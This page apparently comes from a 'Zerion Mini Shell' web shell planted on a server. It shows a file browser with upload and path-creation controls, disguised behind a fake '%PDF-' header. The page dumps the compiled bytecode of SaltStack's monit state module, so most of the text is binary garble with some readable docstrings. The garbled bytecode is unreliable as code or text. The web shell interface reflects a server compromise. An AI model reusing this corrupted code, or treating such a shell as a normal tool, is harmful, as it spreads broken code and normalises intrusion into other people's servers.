%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/monit.pyo

�
���^c@@sAdZddlmZmZmZd�Zd�Zd�ZdS(uf
Monit state
===========

Manage monit states

.. code-block:: yaml

    monit_enable_service_monitoring:
      monit.monitor:
        - name: service

    monit_disable_service_monitoring:
      monit.unmonitor:
        - name: service

.. note::
    Use of these states require that the :mod:`monit <salt.modules.monit>`
    execution module is available.
i(tabsolute_importtprint_functiontunicode_literalscC@sdtkrdStS(uJ
    Only make this state available if the monit module is available.
    u
monit.summaryumonit(t__salt__tFalse(((s5/usr/lib/python2.7/site-packages/salt/states/monit.pyt__virtual__scC@sidd6|d6dd6id6}td|�}y�x�|j�D]�\}}d||kr~dj|�|d<t|d<qBtd	r�d
j|�|d<d|d<|Std|�dj|�|d<d|d|<t|d<PqBWWn.tk
rd
j|�|d<t|d<nX|S(u~
    Get the summary from module monit and try to see if service is
    being monitored. If not then monitor the service.
    uresultunameuucommentuchangesu
monit.summaryuRunningu{0} is being being monitored.utestu#Service {0} is set to be monitored.u
monit.monitoru{0} started to be monitored.u{0} not found in configuration.N(tNoneRtitemstformattTruet__opts__tKeyErrorR(tnametrettresulttkeytvalue((s5/usr/lib/python2.7/site-packages/salt/states/monit.pytmonitor"s.





	
cC@sidd6|d6dd6id6}td|�}y�x�|j�D]�\}}d||kr~dj|�|d<t|d<qBtd	r�d
j|�|d<d|d<|Std|�dj|�|d<d|d|<t|d<PqBWWn.tk
rd
j|�|d<t|d<nX|S(u�
    Get the summary from module monit and try to see if service is
    being monitored. If it is then stop monitoring the service.
    uresultunameuucommentuchangesu
monit.summaryu
Not monitoredu{0} is not being monitored.utestu%Service {0} is set to be unmonitored.umonit.unmonitoru{0} stopped being monitored.u{0} not found in configuration.N(RRRRR	R
RR(RR
RRR((s5/usr/lib/python2.7/site-packages/salt/states/monit.pyt	unmonitorDs.





	
N(t__doc__t
__future__RRRRRR(((s5/usr/lib/python2.7/site-packages/salt/states/monit.pyt<module>s		"

Zerion Mini Shell 1.0